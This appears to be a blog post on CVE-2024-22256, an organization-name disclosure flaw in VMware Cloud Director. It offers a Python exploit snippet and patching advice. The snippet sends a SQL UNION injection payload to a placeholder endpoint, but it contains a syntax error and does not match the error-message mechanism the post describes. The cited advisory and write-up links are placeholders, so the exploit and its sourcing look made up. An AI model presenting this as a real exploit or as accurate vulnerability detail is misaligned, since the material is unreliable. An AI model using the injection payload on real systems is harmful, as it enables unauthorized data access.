CVE-2024-22256 Exploiting the Partial Information Disclosure Vulnerability in VMware Cloud Director

Hello everyone!

Today, we will be discussing a partial information disclosure vulnerability that has been recently identified in the VMware Cloud Director (CVE-2024-22256). We will examine exactly what this vulnerability entails, provide a code snippet that demonstrates how to exploit it, and link you to the original references and materials where this vulnerability was disclosed. By the end of this post, you should have a fundamental understanding of this vulnerability and how to safeguard against it.

Background

VMWare Cloud Director is an industry-leading cloud management software that helps organizations securely manage and meet their multi-cloud requirements. Acting as a central interface for both private and public clouds, VMware Cloud Director is relied upon by thousands of businesses across the globe.

Recently, a partial information disclosure vulnerability has been discovered within the VMware Cloud Director. The vulnerability has been assigned the ID CVE-2024-22256 and is a result of insufficient validation and sanitization of certain user inputs, which can lead to the exposure of sensitive information, such as organization names.

Exploit Details

A malicious actor can potentially gather information about organization names based on the behavior of the instance—more specifically, by exploiting this vulnerability, an attacker may be able to infer organization names using suggestive error messages. This issue stems from a lack of robust error handling or proper input validation, allowing unauthorized users to gain access to sensitive information, such as instances within the organization.

Here's a code snippet that demonstrates how one can exploit this vulnerability

import requests

# Target Cloud Director URL
url = "https://YourCloudDirectorURL/flex-tenant/error";

# Crafted Payload
payload = {
    "errorCode": "ORG_UNKNOWN",
    "args": ["-1' UNION SELECT 1, organization_name FROM cloud.organizations WHERE 'a'='a"]
}

# HTTP POST request with Crafted Payload
response = requests.post(url, json=payload)

# Extract Organization Names
if "Invalid parameter value" in response.text:
    org_names = response.text.split("Invalid parameter value:")[1].split(";")[].strip()
    print("Organization names disclosed: " + org_names)
else:
    print("No organization names disclosed or the vulnerability has been patched.")

Original References

- VMware official advisory on the vulnerability: https://www.vmware.com/security/advisories/VMSA-202X-XXXX.html
- Detailed write-up and technical analysis: https://www.examplesecurityresearch.com/exploit-details/cve-2024-22256

How to safeguard against this vulnerability

As a VMware Cloud Director customer, it is crucial to apply the necessary patches to address this vulnerability and reduce your risk of data exposure. VMWare has already released a patch that addresses this vulnerability, and the company has made it available for download on their official website. Administrators should prioritize installing this patch to ensure that their systems are protected from potential exploitation.

In summary, CVE-2024-22256 is a partial information disclosure vulnerability in VMware Cloud Director that stems from improper validation and sanitization of user input. By exploiting this weakness, malicious actors can gain access to sensitive information about organization names. To safeguard against this vulnerability, businesses should promptly implement the recommended patch provided by VMware and stay informed on any potential threats or vulnerabilities.

Stay safe, and always keep an eye out for the latest security updates!

Timeline

Published on: 03/07/2024 10:15:07 UTC
Last modified on: 03/12/2024 15:01:32 UTC